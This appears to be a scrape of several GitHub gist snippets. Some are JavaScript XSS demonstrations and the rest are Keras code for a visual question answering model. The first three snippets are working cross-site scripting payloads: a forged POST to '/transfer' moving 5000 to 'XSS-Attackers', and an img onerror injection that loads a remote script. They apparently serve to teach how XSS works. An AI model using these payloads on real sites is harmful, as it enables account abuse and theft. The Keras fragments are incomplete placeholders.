This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const body = new URLSearchParams('amount=5000&description=Gotcha!&to=XSS-Attackers'); | |
fetch('/transfer', { | |
body, | |
method: 'post', | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const a = document.createElement('script'); | |
a.src = 'https://victorzhou.com/xss-demo.js'; | |
document.body.appendChild(a); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img src="#" onerror="const a=document.createElement('script');a.src='https://victorzhou.com/xss-demo.js';document.body.appendChild(a);" /> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Train the model! | |
model.fit( | |
# Reminder: train_X_seqs is from this post's BOW section | |
[train_X_ims, train_X_seqs], | |
train_Y, | |
validation_data=([test_X_ims, test_X_seqs], test_Y), | |
shuffle=True, | |
epochs=8, # somewhat arbitrary, try more epochs if you have time! | |
callbacks=[checkpoint], | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from keras.callbacks import ModelCheckpoint | |
checkpoint = ModelCheckpoint('model.h5', save_best_only=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from keras.utils import to_categorical | |
# Create model input images | |
train_X_ims = [train_ims[id] for id in train_image_ids] | |
test_X_ims = [test_ims[id] for id in test_image_ids] | |
# Create model outputs | |
train_answer_indices = [all_answers.index(a) for a in train_answers] | |
test_answer_indices = [all_answers.index(a) for a in test_answers] | |
train_Y = to_categorical(train_answer_indices) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from easy_vqa import get_train_image_paths, get_test_image_paths | |
from keras.preprocessing.image import load_img, img_to_array | |
def load_and_proccess_image(image_path): | |
# Load image, then scale and shift pixel values to [-0.5, 0.5] | |
im = img_to_array(load_img(image_path)) | |
return im / 255 - 0.5 | |
def read_images(paths): | |
# paths is a dict mapping image ID to image path |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from easy_vqa import get_train_questions, get_test_questions, get_answers | |
# Read question data | |
# (we already did this in the BOW section, remember?) | |
train_qs, train_answers, train_image_ids = get_train_questions() | |
test_qs, test_answers, test_image_ids = get_test_questions() | |
# Read answer data | |
all_answers = get_answers() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from keras.models import Model | |
from keras.optimizers import Adam | |
# The CNN | |
im_input = # ... code from above | |
# The question network | |
q_input = # ... code from above | |
# Merge -> output |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Merge -> output | |
out = Multiply()([x1, x2]) # from previous section | |
out = Dense(32, activation='tanh')(out) | |
out = Dense(num_answers, activation='softmax')(out) |